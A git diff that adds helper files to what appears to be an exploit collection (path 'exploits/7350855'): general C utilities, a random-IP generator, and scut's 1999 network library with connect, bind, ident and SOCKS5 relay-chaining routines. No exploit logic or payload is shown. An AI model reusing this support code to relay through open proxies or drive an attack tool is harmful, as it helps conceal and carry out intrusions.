return; +} + +void +hexdump (char *filename, unsigned char *data, unsigned int amount) +{ + FILE *fp; /* temporary file pointer */ + unsigned int dp, p; /* data pointer */ + const char trans[] = + "................................ !\"#$%&'()*+,-./0123456789" + ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" + "nopqrstuvwxyz{|}~...................................." + "....................................................." + "........................................"; + + fp = fopen (filename, "a"); + if (fp == NULL) + return; + + fprintf (fp, "\n-packet-\n"); + + for (dp = 1; dp <= amount; dp++) { + fprintf (fp, "%02x ", data[dp-1]); + if ((dp % 8) == 0) + fprintf (fp, " "); + if ((dp % 16) == 0) { + fprintf (fp, "| "); + p = dp; + for (dp -= 16; dp < p; dp++) + fprintf (fp, "%c", trans[data[dp]]); + fflush (fp); + fprintf (fp, "\n"); + } + fflush (fp); + } + if ((amount % 16) != 0) { + p = dp = 16 - (amount % 16); + for (dp = p; dp > 0; dp--) { + fprintf (fp, " "); + if (((dp % 8) == 0) && (p != 8)) + fprintf (fp, " "); + fflush (fp); + } + fprintf (fp, " | "); + for (dp = (amount - (16 - p)); dp < amount; dp++) + fprintf (fp, "%c", trans[data[dp]]); + fflush (fp); + } + fprintf (fp, "\n"); + + fclose (fp); + return; +} + +#endif + + +/* m_random + * + * return a random number between `lowmark' and `highmark' + */ + +int +m_random (int lowmark, int highmark) +{ + long int rnd; + + /* flip/swap them in case user messed up + */ + if (lowmark > highmark) { + lowmark ^= highmark; + highmark ^= lowmark; + lowmark ^= highmark; + } + rnd = lowmark; + + rnd += (random () % (highmark - lowmark)); + + /* this is lame, i know :) + */ + return (rnd); +} + + +/* set_tv + * + * initializes a struct timeval pointed to by `tv' to a second value of + * `seconds' + * + * return in any case + */ + +void +set_tv (struct timeval *tv, int seconds) +{ + tv->tv_sec = seconds; + tv->tv_usec = 0; + + return; +} + + +/* xstrupper + * + * uppercase a string `str' + * + * return in any case + */ + +void +xstrupper (char *str) +{ + for (; *str != '\0'; ++str) { + if (*str >= 'a' && *str <= 'z') { + *str -= ('a' - 'A'); + } + } + + return; +} + + +/* concating snprintf + * + * determines the length of the string pointed to by `os', appending formatted + * string to a maximium length of `len'. + * + */ + +void +scnprintf (char *os, size_t len, const char *str, ...) +{ + va_list vl; + char *ostmp = os + strlen (os); + + va_start (vl, str); + vsnprintf (ostmp, len - strlen (os) - 1, str, vl); + va_end (vl); + + return; +} + + +unsigned long int +tdiff (struct timeval *old, struct timeval *new) +{ + unsigned long int time1; + + if (new->tv_sec >= old->tv_sec) { + time1 = new->tv_sec - old->tv_sec; + if ((new->tv_usec - 500000) >= old->tv_usec) + time1++; + } else { + time1 = old->tv_sec - new->tv_sec; + if ((old->tv_usec - 500000) >= new->tv_usec) + time1++; + } + + return (time1); +} + + +/* ipv4_print + * + * padding = 0 -> don't padd + * padding = 1 -> padd with zeros + * padding = 2 -> padd with spaces + */ + +char * +ipv4_print (char *dest, struct in_addr in, int padding) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &in.s_addr; + + strcpy (dest, ""); + + switch (padding) { + case (0): + sprintf (dest, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); + break; + case (1): + sprintf (dest, "%03d.%03d.%03d.%03d", ipp[0], ipp[1], ipp[2], ipp[3]); + break; + case (2): + sprintf (dest, "%3d.%3d.%3d.%3d", ipp[0], ipp[1], ipp[2], ipp[3]); + break; + default: + break; + } + + return (dest); +} + + +void * +xrealloc (void *m_ptr, size_t newsize) +{ + void *n_ptr; + + n_ptr = realloc (m_ptr, newsize); + if (n_ptr == NULL) { + fprintf (stderr, "realloc failed\n"); + exit (EXIT_FAILURE); + } + + return (n_ptr); +} + + +char * +xstrdup (char *str) +{ + char *b; + + b = strdup (str); + if (b == NULL) { + fprintf (stderr, "strdup failed\n"); + exit (EXIT_FAILURE); + } + + return (b); +} + + +void * +xcalloc (int factor, size_t size) +{ + void *bla; + + bla = calloc (factor, size); + + if (bla == NULL) { + fprintf (stderr, "no memory left\n"); + exit (EXIT_FAILURE); + } + + return (bla); +} + + +/* source by dk + */ + +char * +allocncat (char **to, char *from, size_t len) +{ + int rlen = strlen (from); + int null = *to == NULL; + + len = rlen < len ? rlen : len; + *to = realloc (*to, (null ? 0 : strlen (*to)) + len + 1); + if (null) + **to = '\0'; + + if (*to == NULL) + perror ("no memory: "); + + return (strncat (*to, from, len)); +} + + +char * +alloccat (char **to, char *from) +{ + return (allocncat (to, from, strlen (from))); +} + + +char * +ip_get_random (void) +{ + char *ip = xcalloc (1, 17); + int i[4]; + + for (;;) { + i[0] = m_random (1, 239); + if (i[0] != 10 && i[0] != 127 && i[0] != 192) + break; + } + i[1] = m_random (1, 254); + i[2] = m_random (1, 254); + i[3] = m_random (1, 254); + + sprintf (ip, "%d.%d.%d.%d", i[0], i[1], i[2], i[3]); + + return (ip); +} + diff --git a/exploits/7350855/common.h b/exploits/7350855/common.h new file mode 100644 index 0000000..dc7b666 --- /dev/null +++ b/exploits/7350855/common.h @@ -0,0 +1,26 @@ + +#ifndef Z_COMMON_H +#define Z_COMMON_H + +#include +#include + +#ifdef DEBUG +void debugp (char *filename, const char *str, ...); +void hexdump (char *filename, unsigned char *data, unsigned int amount); +#endif +int m_random (int lowmark, int highmark); +void set_tv (struct timeval *tv, int seconds); +void xstrupper (char *str); +void scnprintf (char *os, size_t len, const char *str, ...); +unsigned long int tdiff (struct timeval *old, struct timeval *new); +char *ipv4_print (char *dest, struct in_addr in, int padding); +void *xrealloc (void *m_ptr, size_t newsize); +char *xstrdup (char *str); +void *xcalloc (int factor, size_t size); +char *allocncat (char **to, char *from, size_t len); +char *alloccat (char **to, char *from); +char *ip_get_random (void); + +#endif + diff --git a/exploits/7350855/common.o b/exploits/7350855/common.o new file mode 100644 index 0000000..794b48b Binary files /dev/null and b/exploits/7350855/common.o differ diff --git a/exploits/7350855/network.c b/exploits/7350855/network.c new file mode 100644 index 0000000..71d4a21 --- /dev/null +++ b/exploits/7350855/network.c @@ -0,0 +1,918 @@ + +/* scut's leet network library ;) + * 1999 (c) scut + * + * networking routines + * based on my hbot networking sources, + * revised, extended and adapted 990405 + * extended, improved and fixed 990430 + * + * nearly all of this code wouldn't have been possible without w. richard stevens + * excellent network coding book. if you are interested in network coding, + * there is no way around it. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "network.h" + +int net_readtimeout = NET_READTIMEOUT; +int net_conntimeout = NET_CONNTIMEOUT; +int net_identtimeout = NET_IDENTTIMEOUT; + + +int +net_socks_connect (char *socks, unsigned short int sport, char *server, unsigned short int port, int sec) +{ + int s5s; + struct sockaddr_in cs; + + s5s = net_connect (&cs, socks, sport, NULL, 0, sec); + if (s5s == -1) + return (-1); + + if (net_socks_put_s5info (s5s, server, port, sec) == -1) { + close (s5s); + return (-1); + } + return (s5s); +} + + +int +net_socks_put_s5info (int s5s, char *server, unsigned short int port, int sec) +{ + int n; + char buff[1024]; + + /* v5 + noauth */ + net_write (s5s, "\x05\x01%c", 0); + if (net_rtimeout (s5s, sec) == -1) + return (-1); + recv (s5s, buff, sizeof (buff), 0); + + /* chain us =) */ + net_write (s5s, "\x05\x01%c\x03%c%s%c%c", 0, strlen (server), server, (port >> 8) & 0xff, port & 0xff); + if (net_rtimeout (s5s, sec) == -1) + return (-1); + n = recv (s5s, buff, sizeof (buff), 0); + if (buff[1] != 0x00) { + return (-1); + } + return (1); +} + + +int +net_parseip (char *inp, char **ip, unsigned short int *port) +{ + int n; + + if (inp == NULL) + return (0); + if (strchr (inp, ':') == NULL) + return (0); + + *ip = calloc (1, 256); + if (*ip == NULL) + return (0); + + n = sscanf (inp, "%[^:]:%hu", *ip, port); + if (n != 2) + return (0); + + *ip = realloc (*ip, strlen (*ip) + 1); + if (*ip == NULL || (*port < 1 || *port > 65535)) + return (0); + + return (1); +} + + +char * +net_getlocalip (void) +{ + struct sockaddr_in pf; + char name[255]; + + memset (name, '\0', sizeof (name)); + + if (gethostname (name, sizeof (name) - 1) == -1) { + return (NULL); + } + + pf.sin_addr.s_addr = net_resolve (name); + + return (strdup (inet_ntoa (pf.sin_addr)));; +} + + +char * +net_peeraddress (int socket) +{ + char * hip; + struct sockaddr_in peeraddr; + size_t size = sizeof (struct sockaddr_in); + + if (getpeername (socket, (struct sockaddr *) &peeraddr, &size) == -1) + return (NULL); + + net_printipa (&peeraddr.sin_addr, &hip); + + return (hip); +} + + +int +net_addrpair (int socket, struct in_addr *src_ip, unsigned short int *src_prt, + struct in_addr *dst_ip, unsigned short int *dst_prt) +{ + size_t size = sizeof (struct sockaddr_in); + struct sockaddr_in addr; + + + if (getsockname (socket, (struct sockaddr *) &addr, &size) == -1) + return (1); + + src_ip->s_addr = addr.sin_addr.s_addr; + *src_prt = ntohs (addr.sin_port); + + if (getpeername (socket, (struct sockaddr *) &addr, &size) == -1) + return (1); + + dst_ip->s_addr = addr.sin_addr.s_addr; + *dst_prt = ntohs (addr.sin_port); + + return (0); +} + + +char * +net_peername (int socket) +{ + struct sockaddr_in peeraddr; + struct hostent he, *hep; + size_t size = sizeof (struct sockaddr_in); + int n, h_errno; + unsigned char h_buf[8192]; + + if (getpeername (socket, (struct sockaddr *) &peeraddr, &size) == -1) + return (NULL); + + /* digital unix / hp-ux freaks mod here =) + */ + n = gethostbyaddr_r ((char *) &peeraddr.sin_addr, sizeof (struct in_addr), + AF_INET, &he, h_buf, sizeof (h_buf), &hep, &h_errno); + + if (hep == NULL) { + char *ip_str = NULL; + + net_printipa (&peeraddr.sin_addr, &ip_str); + return (ip_str); + } + + return (strdup (he.h_name)); +} + + +FILE * +net_descriptify (int socket) +{ + FILE *fp; + + fp = fdopen (socket, "r+"); + return ((fp == NULL) ? (NULL) : (fp)); +} + + +/* loosely based on rfc931.c */ + +int +net_ident (char **ident, struct sockaddr_in *locals, unsigned short int localport, + struct sockaddr_in *remotes, unsigned short int remoteport) +{ + int is; /* ident socket */ + struct sockaddr_in isa; + int n; + char identreply[512], *cp; + unsigned int rmt_port, our_port; + + + *ident = NULL; + + is = net_connect (&isa, inet_ntoa (remotes->sin_addr), 113, NULL, 0, net_identtimeout); + if (is == -1) + return (-1); + + /* ident request */ + net_write (is, "%u,%u\r\n", remoteport, localport); + memset (identreply, '\0', sizeof (identreply)); + + n = net_rlinet (is, identreply, sizeof(identreply) -1, net_identtimeout); + if (n == -1) { + close (is); + return (-1); + } + close (is); + + *ident = calloc (1, 256); +#ifdef DEBUG + printf("%s\n", identreply); +#endif + n = sscanf (identreply, "%u , %u : USERID :%*[^:]:%255s", &rmt_port, &our_port, *ident); + if (n != 3) { + free (*ident); + *ident = NULL; + return (-1); + } + + /* check the ports 'man */ + if ((rmt_port != remoteport) || (our_port != localport)) { + free (*ident); + *ident = NULL; + return (-1); + } + + /* strip character and save some memory */ + if ((cp = strchr (*ident, '\r'))) + *cp = '\0'; + n = strlen (*ident); + *ident = realloc (*ident, n + 1); + (*ident)[n] = '\0'; + +#ifdef DEBUG + printf("ident-return: %s\n", *ident); +#endif + return (1); +} + + +int +net_accept (int s, struct sockaddr_in *cs, int maxsec) +{ + int flags, n; + fd_set ac_s; + int len; + struct timeval tval; + struct sockaddr_in csa; + + if (cs == NULL) + cs = &csa; + + flags = fcntl(s, F_GETFL, 0); + if (flags == -1) + return (-1); + n = fcntl(s, F_SETFL, flags | O_NONBLOCK); + if (n == -1) + return (-1); + + FD_ZERO(&ac_s); + FD_SET(s, &ac_s); + tval.tv_sec = maxsec; + tval.tv_usec = 0; + + n = select(s + 1, &ac_s, NULL, NULL, maxsec ? &tval : NULL); + if (n == 0) + return (0); + + if (FD_ISSET(s, &ac_s)) { + len = sizeof(struct sockaddr_in); + n = accept(s, (struct sockaddr *) cs, &len); + if (n == -1) { + switch (errno) { + case EWOULDBLOCK: + case ECONNABORTED: + case EPROTO: + case EINTR: if (fcntl(s, F_SETFL, flags) == -1) + return (-1); + return (0); + default: return (-1); + } + } + if (fcntl(s, F_SETFL, flags) == -1) + return (-1); + return (n); + } + if (fcntl(s, F_SETFL, flags) == -1) + return (-1); + return (0); +} + + +int +net_testvip (char *ip) +{ + struct ifi_info *ifi, *ifc; + struct in_addr ip_n; + + if (ip == NULL) + return (1); + if (strcmp(ip, "*") == 0) + return (1); + + ip_n.s_addr = net_resolve(ip); + if (!(ip_n.s_addr)) + return (0); + + ifi = net_ifi_get (AF_INET, 1); + if (ifi == NULL) + return (0); + for (ifc = ifi; ifc != NULL; ifc = ifc->ifi_next) { + if (memcmp (&ip_n.s_addr, &ifc->ifi_saddr.s_addr, sizeof (struct in_addr)) == 0) { + net_ifi_free(ifi); + return (1); + } + } + net_ifi_free(ifi); + return (0); +} + + +void +net_ifi_free (struct ifi_info *tf) +{ + struct ifi_info *ifi, *ifil; + + ifil = NULL; + for (ifi = tf; ifi != NULL; ifi = ifi->ifi_next) { + if (ifil) + free (ifil); + if (ifi->ifi_addr) + free (ifi->ifi_addr); + ifil = ifi; + } + if (ifil) + free (ifil); + return; +} + + +struct ifi_info * +net_ifi_get (int family, int doaliases) +{ + struct ifi_info *ifi, *ifihead, **ifipnext; + int sockfd, len, lastlen, flags, myflags; + char *ptr, *buf, lastname[IFNAMSIZ], *cptr; + struct ifconf ifc; + struct ifreq *ifr, ifrcopy; + struct sockaddr_in *sinptr; + + sockfd = socket(AF_INET, SOCK_DGRAM, 0); + if (sockfd == -1) + return (NULL); + + lastlen = 0; + len = 100 * sizeof(struct ifreq); + for (;;) { + buf = malloc(len); + if (buf == NULL) + return (NULL); + ifc.ifc_len = len; + ifc.ifc_buf = buf; + if (ioctl(sockfd, SIOCGIFCONF, &ifc) < 0) { + if (errno != EINVAL || lastlen != 0) + return (NULL); + } else { + if (ifc.ifc_len == lastlen) + break; + lastlen = ifc.ifc_len; + } + len += 10 * sizeof(struct ifreq); + free (buf); + } + ifihead = NULL; + ifipnext = &ifihead; + lastname[0] = 0; + + for (ptr = buf; ptr < buf + ifc.ifc_len;) { + ifr = (struct ifreq *) ptr; + if (ifr->ifr_addr.sa_family == AF_INET) + len = sizeof(struct sockaddr); + ptr += sizeof(ifr->ifr_name) + len; + + if (ifr->ifr_addr.sa_family != family) + continue; + myflags = 0; + if ((cptr = strchr(ifr->ifr_name, ':')) != NULL) + *cptr = 0; + if (strncmp(lastname, ifr->ifr_name, IFNAMSIZ) == 0) { + if (doaliases == 0) + continue; + myflags = IFI_ALIAS; + } + memcpy(lastname, ifr->ifr_name, IFNAMSIZ); + + ifrcopy = *ifr; + if (ioctl(sockfd, SIOCGIFFLAGS, &ifrcopy) < 0) + return (NULL); + flags = ifrcopy.ifr_flags; + if ((flags & IFF_UP) == 0) + continue; + + ifi = calloc(1, sizeof(struct ifi_info)); + if (ifi == NULL) + return (NULL); + *ifipnext = ifi; + ifipnext = &ifi->ifi_next; + ifi->ifi_flags = flags; + ifi->ifi_myflags = myflags; + memcpy(ifi->ifi_name, ifr->ifr_name, IFI_NAME); + ifi->ifi_name[IFI_NAME - 1] = '\0'; + +#ifdef DEBUG + printf("got: %s\n", ifi->ifi_name); +#endif + + switch (ifr->ifr_addr.sa_family) { + case AF_INET: + sinptr = (struct sockaddr_in *) &ifr->ifr_addr; + memcpy(&ifi->ifi_saddr, &sinptr->sin_addr, sizeof(struct in_addr)); + if (ifi->ifi_addr == NULL) { + ifi->ifi_addr = calloc(1, sizeof(struct sockaddr_in)); + if (ifi->ifi_addr == NULL) + return (NULL); + memcpy(ifi->ifi_addr, sinptr, sizeof(struct sockaddr_in)); + } + break; + default: + break; + } + } + free (buf); + return (ifihead); +} + + +void +net_boundfree (bound *bf) +{ + close (bf->bs); + free (bf); + return; +} + + +bound * +net_bind (char *ip, unsigned short int port) +{ + bound *b; + int br, gsnr, lr; + int len, reusetmp; + struct sockaddr_in *sap; + + if (port >= 65536) + return (NULL); + + b = calloc(1, sizeof (bound)); + if (b == NULL) + return (NULL); + b->bs = socket (AF_INET, SOCK_STREAM, 0); + if (b->bs == -1) + goto berror; + + reusetmp = 1; +#ifdef SO_REUSEPORT + if (setsockopt (b->bs, SOL_SOCKET, SO_REUSEPORT, &reusetmp, sizeof (reusetmp)) == -1) + goto berror; +#else + if (setsockopt (b->bs, SOL_SOCKET, SO_REUSEADDR, &reusetmp, sizeof (reusetmp)) == -1) + goto berror; +#endif + + sap = (struct sockaddr_in *) &b->bsa; + sap->sin_family = AF_INET; + sap->sin_port = htons (port); /* 0 = ephemeral */ + + if (ip != NULL) { + if (strcmp (ip, "*") == 0) { + sap->sin_addr.s_addr = htonl (INADDR_ANY); + } else { + if (!(sap->sin_addr.s_addr = net_resolve (ip))) { + goto berror; + } + } + } else { + sap->sin_addr.s_addr = htonl (INADDR_ANY); + } + + br = bind (b->bs, (struct sockaddr *) &b->bsa, sizeof (struct sockaddr)); + if (br == -1) + goto berror; + + len = sizeof (struct sockaddr); + gsnr = getsockname (b->bs, (struct sockaddr *) &b->bsa, &len); + b->port = ntohs (sap->sin_port); + if (gsnr == -1) + goto berror; + + lr = listen (b->bs, 16); + if (lr == -1) { + goto berror; + } + return (b); + +berror: + free (b); + + return(NULL); +} + + +unsigned long int +net_resolve (char *host) +{ + long i; + struct hostent *he; + + i = inet_addr(host); + if (i == -1) { + he = gethostbyname(host); + if (he == NULL) { + return (0); + } else { + return (*(unsigned long *) he->h_addr); + } + } + return (i); +} + + +int +net_assignaddr (int sd, char *sourceip, unsigned short int sourceport) +{ + struct sockaddr_in sourcedef; + + if (sourceip && strcmp (sourceip, "*") == 0) + sourceip = NULL; + + if (sourceip == NULL && sourceport == 0) + return (1); + + /* is the IP available on the local host ? (not really necessary) */ + if (sourceip && !net_testvip (sourceip)) { + return (0); + } + + memset (&sourcedef, '\0', sizeof (struct sockaddr_in)); + + /* if sourceip is specified, set it */ + if (sourceip) { + sourcedef.sin_addr.s_addr = net_resolve (sourceip); + } else { + sourcedef.sin_addr.s_addr = htonl (INADDR_ANY); + } + if (sourceport) + sourcedef.sin_port = htons (sourceport); + + /* now set the source on the socket by binding it */ + if (bind (sd, (struct sockaddr *) &sourcedef, sizeof (struct sockaddr_in)) == -1) { + return (0); + } + + return (1); +} + + +int +net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip, + unsigned short int sourceport, int sec) +{ + int n, + len, + error, + flags; + int fd; + struct timeval tv; + fd_set rset, wset; + struct sockaddr_in csa; + + if (cs == NULL) + cs = &csa; + + /* first allocate a socket */ + cs->sin_family = AF_INET; + cs->sin_port = htons (port); + fd = socket (cs->sin_family, SOCK_STREAM, 0); + if (fd == -1) + return (-1); + + /* check wether we should change the defaults */ + if (net_assignaddr (fd, sourceip, sourceport) == 0) { + close (fd); + return (-1); + } + + if (!(cs->sin_addr.s_addr = net_resolve (server))) { + close (fd); + return (-1); + } + + flags = fcntl (fd, F_GETFL, 0); + if (flags == -1) { + close (fd); + return (-1); + } + n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); + if (n == -1) { + close (fd); + return (-1); + } + + error = 0; + + n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); + if (n < 0) { + if (errno != EINPROGRESS) { + close (fd); + return (-1); + } + } + if (n == 0) + goto done; + + FD_ZERO(&rset); + FD_ZERO(&wset); + FD_SET(fd, &rset); + FD_SET(fd, &wset); + tv.tv_sec = sec; + tv.tv_usec = 0; + + n = select(fd + 1, &rset, &wset, NULL, &tv); + if (n == 0) { + close(fd); + errno = ETIMEDOUT; + return (-1); + } + if (n == -1) + return (-1); + + if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { + if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { + len = sizeof(error); + if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { + errno = ETIMEDOUT; + return (-1); + } + if (error == 0) { + goto done; + } else { + errno = error; + return (-1); + } + } + } else + return (-1); + +done: + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + return (fd); +} + + +int +net_tline (char *buf, int bufsize) +{ + int p; + + for (p = 0; p < bufsize; p++) { + if (buf[p] == '\n') + return (p + 1); + } + return (-1); +} + +#define LINET_A 1024 + + +int +net_rlineta (int fd, char **buf, int sec) +{ + int n; /* return value */ + int bufsize = 0; + + *buf = NULL; + + do { + bufsize += LINET_A; + *buf = realloc (*buf, bufsize); + if (*buf == NULL) + return (-1); + + n = net_rlinet (fd, *buf + bufsize - LINET_A, LINET_A, sec); + + if (n == -1) + goto rlinetaerr; + if (n >= 0) + goto rlinetastrip; + } while (n == -2); + +rlinetastrip: + *buf = realloc (*buf, strlen (*buf) + 1); + return (strlen (*buf)); + +rlinetaerr: + free (*buf); + return (-1); +} + + +int +net_rlinet (int fd, char *buf, int bufsize, int sec) +{ + int n; + unsigned long int rb = 0; + struct timeval tv_start, tv_cur; + + memset(buf, '\0', bufsize); + (void) gettimeofday(&tv_start, NULL); + + do { + (void) gettimeofday(&tv_cur, NULL); + if (sec > 0) { + if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) - + ((tv_start.tv_sec * 1000000) + (tv_start.tv_usec))) > (sec * 1000000)) { + return (-1); + } + } + n = net_rtimeout(fd, net_readtimeout); + if (n <= 0) { + return (-1); + } + n = read(fd, buf, 1); + if (n <= 0) { + return (n); + } + rb++; + if (*buf == '\n') + return (rb); + buf++; + if (rb >= bufsize) + return (-2); /* buffer full */ + } while (1); +} + + +long int +net_rbuf (int fd, char **dst) +{ + long int ml = 0; + long int read_bytes; + int p; + + *dst = NULL; + + while ((p = net_rtimeout(fd, net_readtimeout)) == 1) { + *dst = (char *) realloc(*dst, ml + NET_BSIZE); + if (*dst == NULL) + return (-1); + ml += read_bytes = read(fd, *dst + ml, NET_BSIZE); + if (read_bytes == 0) { + *dst = (char *) realloc(*dst, ml); + if ((*dst == NULL) && (ml == 0)) { + return (1); + } else if (*dst == NULL) { + return (-1); + } else { + return (ml); + } + } + } + return (-1); +} + + +int +net_rbuft (int fd, char *dst, unsigned long int dsize) +{ + unsigned long int bl = 0, m; + int p; + + while (bl < dsize) { + p = net_rtimeout(fd, net_readtimeout); + if ((p == 0) || (p == -1)) { + return (-1); + } + + m = read(fd, dst + bl, (dsize - bl)); + if ((m == 0) || (m == -1)) { + return (-1); + } + bl += m; + } + return (1); +} + + +int +net_rtimeout (int fd, int sec) +{ + fd_set rset; + struct timeval tv; + int n, error, flags; + + error = 0; + flags = fcntl(fd, F_GETFL, 0); + n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); + if (n == -1) + return (-1); + + FD_ZERO(&rset); + FD_SET(fd, &rset); + tv.tv_sec = sec; + tv.tv_usec = 0; + + /* now we wait until more data is received then the tcp low level watermark, + * which should be setted to 1 in this case (1 is default) + */ + + n = select(fd + 1, &rset, NULL, NULL, &tv); + if (n == 0) { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + errno = ETIMEDOUT; + return (-1); + } + if (n == -1) { + return (-1); + } + /* socket readable ? */ + if (FD_ISSET(fd, &rset)) { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + return (1); + } else { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + errno = ETIMEDOUT; + return (-1); + } +} + + +void +net_write (int fd, const char *str, ...) +{ + char tmp[1025]; + va_list vl; + int i; + + va_start(vl, str); + memset(tmp, 0, sizeof(tmp)); + i = vsnprintf(tmp, sizeof(tmp), str, vl); + va_end(vl); + +#ifdef DEBUG + printf("[snd] %s\n", tmp); +#endif + + send(fd, tmp, i, 0); + return; +} + + +int +net_printip (struct in_addr *ia, char *str, size_t len) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &ia->s_addr; + snprintf (str, len - 1, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); + + return (0); +} + + +int +net_printipa (struct in_addr *ia, char **str) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &ia->s_addr; + *str = calloc (1, 256); + if (*str == NULL) + return (1); + + snprintf (*str, 255, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); + *str = realloc (*str, strlen (*str) + 1); + + return ((*str == NULL) ? 1 : 0); +} + diff --git a/exploits/7350855/network.h b/exploits/7350855/network.h new file mode 100644 index 0000000..3e726d0 --- /dev/null +++ b/exploits/7350855/network.h @@ -0,0 +1,367 @@ +/* scut's leet network library ;) + * 1999 (c) scut + * + * networking code + */ + +#ifndef SCUT_NETWORK_H +#define SCUT_NETWORK_H + +#include +#include +#include +#include + +#define NET_READTIMEOUT 180 +#define NET_CONNTIMEOUT 60 +#define NET_IDENTTIMEOUT 15 + +#define IFI_NAME 16 +#define IFI_HADDR 8 + +/* struct ifi_info + * + * a linked list giving information about all the network interfaces available + * a pointer to this struct list is returned by net_get_ifi. + */ + +struct ifi_info { + char ifi_name[IFI_NAME]; + u_char ifi_haddr[IFI_HADDR]; + u_short ifi_hlen; + short ifi_flags; + short ifi_myflags; + struct sockaddr *ifi_addr; + struct in_addr ifi_saddr; + struct ifi_info *ifi_next; +}; + +#define IFI_ALIAS 1 + +typedef struct bound { + int bs; /* bound socket */ + unsigned short port; /* port we bound to */ + struct sockaddr bsa; /* bs_in */ +} bound; + +extern int net_readtimeout; +extern int net_conntimeout; +extern int net_identtimeout; + + +/* net_socks_connect + * + * relays through an open socks 5 server (NO AUTH type) + * returns a socket descriptor which is already connected + */ + +int net_socks_connect (char *socks, unsigned short int sport, + char *server, unsigned short int port, int sec); + + +/* net_socks_put_s5info + * + * insert socks 5 compatible relay information into socket s5s, + * used to relay over more then just one socks server + */ + +int net_socks_put_s5info (int s5s, char *server, + unsigned short int port, int sec); + + +/* net_parseip + * + * read an ip in the format "1.1.1.1:299" or "blabla:481" into + * the char pointer *ip and into the port *port + * + * return 0 on failure + * return 1 on success + */ + +int net_parseip (char *inp, char **ip, unsigned short int *port); + + +/* net_getlocalip + * + * give back the main IP of the local machine + * + * return the local IP address as string on success + * return NULL on failure + */ + +char *net_getlocalip (void); + + +/* net_peeraddress + * + * return a pointer to a string representation of the remote IP address of + * the already connected socket `socket' + * + * return NULL on failure + * return string pointer on succes + */ + +char * net_peeraddress (int socket); + + +/* net_addrpair + * + * find address pair of an established TCP connection of socket `socket'. + * + * return 0 on success + * return 1 on failure + */ + +int +net_addrpair (int socket, struct in_addr *src_ip, unsigned short int *src_prt, + struct in_addr *dst_ip, unsigned short int *dst_prt); + + +/* net_peername + * + * return a pointer that points to an alloced character array that contains + * the fully qualified hostname for the remote host that is connected using + * the socket descriptor `socket'. + + + * return NULL on failure + * return pointer to hostname or quad-dotted IP address + */ + +char *net_peername (int socket); + + +/* net_descriptify + * + * descriptify a socket `socket' ;) + * + * return -1 on failure + * return file descriptor on success + */ + +FILE *net_descriptify (int socket); + + +/* net_ident + * + * ident a connection identified by the host:port pairs on both sides, + * returning the ident in *ident + * + * return 1 on success + * return -1 on failure + */ + +int net_ident (char **ident, struct sockaddr_in *locals, unsigned short int localport, + struct sockaddr_in *remotes, unsigned short int remoteport); + + +/* net_accept + * + * accept a connection from socket s, and stores the connection + * into cs. + * wait a maximum amount of maxsec seconds for connections + * maxsec can also be zero (infinite wait, until connection) + * + * return 0 if no connection has been made within maxsec seconds + * return -1 if an error appears + * return the socket number if a connection has been made + */ + +int net_accept (int s, struct sockaddr_in *cs, int maxsec); + + +/* net_get_ifi + * + * get network interface information + * + * return NULL on failure + * return a pointer to a linked list structure ifi_info (see above) + */ + +struct ifi_info *net_ifi_get (int family, int doaliases); + + +/* net_ifi_free + * + * free the linked list associated with `tf'. + * + * return in any case + */ + +void net_ifi_free (struct ifi_info *tf); + + +/* net_testvip + * + * test if virtual ip/hostname is available for use on the local machine, + * + * return 1 if the ip can be used + * return 0 if the ip/host is not available + */ + +int net_testvip (char *ip); + + +/* net_bind + * + * bind a socket to an ip:port on the local machine, + * `ip' can be either NULL (bind to all IP's on the host), or a pointer + * to a virtual host name, or a real IP, or "*" for any. + * `port' can be either 0 (ephemeral port), or any free port. + * + * return NULL on failure + * return pointer to bound structure on success + */ + +bound *net_bind (char *ip, unsigned short int port); + + +/* net_boundfree + * + * free the bound structure pointed to by `bf' + * + * return in any case + */ + +void net_boundfree (bound *bf); + + +/* net_resolve + * + * resolve a hostname pointed to by `host' into a s_addr return value + * + * return the correct formatted `s_addr' for this host on success + * return 0 on failure + */ + +unsigned long int net_resolve (char *host); + + +/* net_assignaddr + * + * assign an IP address and port to a socket + * sourceip can be an IP or hostname that is available on the local host, + * or NULL/"*" to let the kernel choose one, same applies to sourceport, + * it can either be zero (ephemeral port choosen by the kernel) or a + * valid port number + * + * return 1 on success + * return 0 on failure + */ + +int net_assignaddr (int sd, char *sourceip, unsigned short int sourceport); + + +/* net_connect + * + * connect to the given `server' and `port' with a max timeout of `sec'. + * initialize the sockaddr_in struct `cs' correctly (ipv4), accept any + * ip "123.123.123.123" or hostname "localhost", "www.yahoo.de" as hostname. + * create a new socket and return either -1 if failed or + * the connected socket if connection has been established within the + * timeout limit. + * + * the routine is still IPv4 biased :-/ + * with `sourceip'/`sourceportÄ you MAY specify the source IP and source port + * to use for the connection, but you can set the ip or port to NULL/0, + * to choose the default IP and an ephemeral port. this was added later in + * this library, so please update your sources. + * + * return -1 on failure + * return socket if success + */ + +int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip, + unsigned short int sourceport, int sec); + + +/* net_rtimeout + * + * waits max `sec' seconds for fd to become readable + * + * return -1 on error (errno set) + * return 1 on readability + */ + +int net_rtimeout (int fd, int sec); + + +/* net_rbuf + * + * allocate memory and read socket data to `dst' until the connection + * gets closed. + * + * return n if success (n = number of bytes read) + * return -1 if failed + */ 